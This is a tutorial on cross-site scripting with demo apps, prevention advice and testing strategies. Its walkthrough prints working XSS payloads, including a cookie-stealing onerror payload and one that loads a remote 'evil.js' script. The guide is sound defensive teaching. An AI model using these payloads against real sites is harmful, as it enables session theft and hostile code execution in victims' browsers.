Cross-site scripting

Table of Contents

Introduction to cross-site scripting

Target Audience

This document is intended for anyone who develops websites or is interested in web security topics. A background in HTML, JavaScript, and Document Object Model (DOM) would be helpful for some of the more technical details.

Don't be evil

This document provides information that could be used to assess the security of a website against cross-site scripting vulnerabilities. Do not use what you learn here to test (or worse, attack) websites without permission from the website's owner.

What is cross-site scripting and why should I care?

Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. Once executed by the victim's browser, this code could then perform actions such as completely changing the behavior or appearance of the website, stealing private data, or performing actions on behalf of the user.

Don't worry, we'll show you what all this means, but before we dig deeper, let's take a look at some interactive examples to see how it works.

A basic example

XSS vulnerabilities most often happen when user input is incorporated into a web server's response (i.e., an HTML page) without proper escaping or validation.

Consider the search application below. Click on "Show demo" to load the application. This is a working demo application; so, you can interact with it--try searching for something. For your reference, we also included the App Engine source code--you can view the code by clicking on "Click to view application source code" link.

Demo application 1:

URL

Click to view application source code

Using the demo application above, search for test. This returns the following output:

Sorry, no results were found for test. Try again.

Now, search for <u>test</u>. Notice that "test" is underlined in the response:

Sorry, no results were found for test. Try again.

So, without looking at the code, it seems that the application includes our own HTML markup in the response. That's interesting but not terribly dangerous. If, however, the application also allows us to inject JavaScript code, that would be much more "interesting".

Let's give it a try. Search for <script>alert('hello')</script>.

We found an XSS bug!

You've just experienced a "reflected" XSS attack, where the JavaScript payload (<script>alert('hello')</script>) is echoed back on the page returned by the server.

If you look at line 50 of the source code, you'll see that the message that is displayed in the search results page is a string that's constructed using the query input value. This string is then passed to a function that renders the HTML output using the response.out.write method in line 37. The problem is that the input is not escaped before it's rendered. We'll discuss escaping later in the "Preventing XSS" section.

In the above scenario, an attacker would need the victim to either:

It's worth noting that an XSS payload can be delivered in different ways; for example, it could be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cookie - basically, anywhere a user can supply input to the website.

All this to generate an annoying pop-up window might not seem worth it. Unfortunately, XSS vulnerabilities can result in much more than alerts on a page (a pop-up alert is just a convenient way for an attacker or researcher to detect the presence of an XSS bug). Take a look at the next example for a more malicious script.

Sometimes the XSS payload can persist

In the attack we described above, the web server echoes back the XSS payload to the victim right away. But it is also possible for the server to store the attacker-supplied input (the XSS payload) and serve it to the victim at a later time. This is called a "stored XSS".

Below we illustrate a basic example using a demo social networking site. Go ahead, enter some text and share your status in the demo application below.

Demo application 2:


Click to view application source code

Next, try this:

  1. Enter <img src=x onerror="alert('Pop-up window via stored XSS');"
  2. Share your status.
  3. You should see a pop-up alert! You'll see the alert again if you refresh the page or share another status message.

Now, enter <img src=x onerror="alert(document.cookie);" and hit 'Share status!'.

The session ID for this application (a contrived one that is probably '123412341234') will pop up! An attacker could use XSS exploit code to collect this session ID, and try to impersonate the owner of the account.

Note: To reset the application and get rid of the annoying pop-ups, click the "Clear all posts" button.

What else can you do besides popping up alerts or stealing session IDs? You can pretty much do anything JavaScript allows. Try entering the following:

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

Spooky, huh? In this example, an evil JavaScript file was retrieved and embedded via XSS.

Your server won't always see the XSS payload

In the previous two examples, user input was sent to the server, and the server responded back to the user by displaying a page that included the user input. However, a stored or reflected XSS vulnerability can also occur without direct involvement of the server, if user-supplied data is used in an unsafe JavaScript operation. That is, the XSS can occur entirely in the client-side JavaScript and HTML (more specifically, in the Document Object Model or DOM) without data being sent back and forth between the client and the server. We call this subclass of bugs "DOM-based XSS" or "DOM XSS" for short. A common cause of DOM XSS bugs is setting the innerHTML value of a DOM element with user-supplied data.

Take a look at the following application. It uses a URL fragment to determine which tab to show.

Demo application 3:

URL

Click to view application source code

The application works as expected when you click on the tabs. However, it is also possible to open a URL such as:

https://xss-doc.appspot.com/demo/3#'><img src=x onerror=alert(/DOM-XSS/)>

You can copy and paste the above URL into the "URL bar" in the demo application above and click the "Go" button. You should see a pop-up alert.

The XSS is triggered because the client-side script uses part of the window.location to set the innerHTML of one of the elements inside the page. When you go to the above URL, the location.hash variable is set to #'><img src=x onerror=alert(/DOM-XSS/)>. If you look at line 33 of the source code for index.html, you will see that the substring of location.hash (the string after the # character) is passed as the argument to the chooseTab function in line 8. chooseTab constructs an img element for embedding an image using the following:

html += "<img src='/static/demos/GEECS" + name + ".jpg' />";

The location.hash substring argument is used to set the value of name; this results in following img element:

<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />

The above is valid HTML; however, the browser will fail to load the image and will instead execute the onerror code. This img element is ultimately added to the document via innerHTML on line 12.

Preventing XSS

Nothing is foolproof

We provide some suggestions on how you can minimize the chance that your website will contain XSS vulnerabilities. But keep in mind that both security and technology evolves very rapidly; so, no guarantees--what works today may not fully work tomorrow (hackers can be pretty clever).

What can I do to prevent XSS?

A common technique for preventing XSS vulnerabilities is "escaping". The purpose of character and string escaping is to make sure that every part of a string is interpreted as a string primitive, not as a control character or code.

For example, '&lt;' is the HTML encoding for the '<' character. If you include:

<script>alert('testing')</script>

in the HTML of a page, the script will execute. But if you include:

&lt;script&gt;alert('testing')&lt;/script&gt;

in the HTML of a page, it will print out the text "<script>alert('testing')</script>", but it will not actually execute the script. By escaping the <script> tags, we prevented the script from executing. Technically, what we did here is "encoding" not "escaping", but "escaping" conveys the basic concept (and we'll see later that in the case of JavaScript, "escaping" actually is the correct term).

The following can help minimize the chances that your website will contain XSS vulnerabilities:

The rest of this section describes these measures in detail.

Use a template system with context-aware auto-escaping

The simplest and best means to protect your application and your users from XSS bugs is to use a web template system or web application development framework that auto-escapes output and is context-aware.

"Auto-escaping" refers to the ability of a template system or web development framework to automatically escape user input in order to prevent any scripts embedded in the input from executing. If you wanted to prevent XSS without auto-escaping, you would have to manually escape input; this means writing your own custom code (or call an escape function) everywhere your application includes user-controlled data. In most cases, manually escaping input is not recommended; we'll discuss manual escaping in the next section.

"Context-aware" refers to the ability to apply different forms of escaping based on the appropriate context. Because CSS, HTML, URLs, and JavaScript all use different syntax, different forms of escaping are required for each context. The following example HTML template uses variables in all of these different contexts:

<body>
  <span style="color:{{ USER_COLOR }};">
    Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>.
  </span>
  <script>
    var id = {{ USER_ID }};
    alert("Your user ID is: " + id);
  </script>
</body>

As you can see, trying to manually escape input for various contexts can be very difficult. You can read more about context-aware auto-escaping here. Go Templates, Google Web Toolkit (GWT) with SafeHtml, Closure Templates, and CTemplate all provide context-aware auto-escaping so that variables are correctly escaped for the page context in which they appear. If you are using templates to generate HTML within JavaScript (a good idea!) Closure Templates and Angular provide built-in escaping capabilities.

A note on manually escaping input

Writing your own code for escaping input and then properly and consistently applying it is extremely difficult. We do not recommend that you manually escape user-supplied data. Instead, we strongly recommend that you use a templating system or web development framework that provides context-aware auto-escaping. If this is impossible for your website, use existing libraries and functions that are known to work, and apply these functions consistently to all user-supplied data and all data that isn't directly under your control.

Understand common browser behaviors that lead to XSS

If you follow the practices from the previous section, you can reduce your risk of introducing XSS bugs into your applications. There are, however, more subtle ways in which XSS can surface. To mitigate the risk of these corner cases, consider the following:

Learn the best practices for your technology

The following best practices can help you reduce XSS vulnerabilities in your code for specific technologies.

Testing for XSS

Proceed with caution

As with any security testing, there may be unintended side-effects. We assume no responsibility for your use of the knowledge you obtain here (with power comes responsibility); so, use this information at your own risk.

How can I test for XSS?

There is no silver bullet for detecting XSS in applications. The best way to go about testing for XSS bugs is through a combination of:

This section will describe and make recommendations for each strategy.

Manual testing ("black-box testing")

XSS is a risk wherever your application handles user input.

For best results, configure your browser to use a proxy that intercepts and scans traffic to help identify problems. Example tools include

Burp Proxy and ratproxy.

Perform these basic tests on your application:

Code review ("white-box testing")

Request that a colleague or friend review your code with fresh eyes (and offer to return the favor!). Ask them to specifically look for XSS vulnerabilities and point them to this document, if it would be helpful.

Unit tests

Use unit testing to make sure that a particular bit of data is correctly escaped. While it's not always feasible to

unit test every place where user-supplied data is displayed, you should at a minimum write unit tests for any slightly out of the ordinary code to make sure that the result meets your expectations. This includes places where:

Also, any time after you find and fix an XSS bug in your code, consider adding a regression test for it.

Web application security scanners

You can use security scanning software to identify XSS vulnerabilities within applications. While automatic scanners are often not optimized for your particular application, they allow you to quickly and easily find the more obvious vulnerabilities.

Skipfish is one such tool.

Which testing method should I use?

Well, to be honest–as many of them as possible (what kind of response did you expect from security people?). No testing methodology is foolproof; so, performing a combination of code reviews, and manual and automated testing, will decrease the odds of a XSS vulnerability in your application.